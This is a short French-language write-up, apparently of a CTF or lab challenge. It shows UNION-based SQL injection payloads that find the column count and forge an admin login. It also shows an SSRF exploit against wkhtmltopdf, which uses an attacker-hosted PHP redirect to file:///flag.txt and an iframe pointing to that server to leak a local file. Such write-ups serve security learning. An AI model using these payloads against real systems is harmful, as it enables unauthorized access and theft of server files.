# SQLi - UNION Based ### Detection Pour récupérer le nombre de colomnes, on peut utiliser: ```sql `' UNION SELECT NULL--` ``` NULL représente une colomne (attribut vide), que l'on peut incrémenter jusqu'à obtenir le nombre de colomnes final. Pour récupérer le type de la colomne (string, int..), on peut: ```sql `' UNION SELECT NULL,NULL,'a',NULL--` ``` Si la colomne n'est compatible avec le type, on aura une erreur ### Exploitation On récupère le contenu de la colomne `admin`. Pour cela, on selectionne en premier l'id de la bd , ici on prend 1 par guess. ```sql ' UNION SELECT 1, 'admin', 'a ``` Et on lui donne en paramètre de password le char `a`, étant le password que nous allons rentré dans la query `"password"` de notre requête. On laisse la quote ouverte pour ne pas casser la requête dans laquelle on se situe. On récupère le content :) ![](https://hackmd.io/_uploads/ry30atSS3.png) # SSRF - wkhtmltopdf On remarque que lorsqu'on envoie une string, elle est encodée en base64 et passée dans un tool qui nous la rend en pdf ![](https://hackmd.io/_uploads/H1bx0KHBh.png) On récupère le .pdf, et lorsqu'on le string on récupère le nom du tool, ainsi que sa version ![](https://hackmd.io/_uploads/r1g-0trHn.png) Une recherche assez simple et on se rend compte qu'il est possible de SSRF avec celui-ci Je lance un petit serveur php avec: `php -S monip:8000` Pour lire le contenu du serv, je créer une payload que j'host sur mon serveur afin de récupérer le contenu de la page souhaitée: ````php <?php header('location: file:///flag.txt'); ?> ```` J'encode en b64 et j'envoie au site cette requête, allant chercher sur mon serveur mon script contenant le `localtion:file..` me permettant d'exiltrer le contenu de cette page. ```html <iframe src=http://monserv:8000/mimi.php width=1000px height=1000px></iframe> ``` Tadam :) ![](https://hackmd.io/_uploads/HJZzRtHSn.png)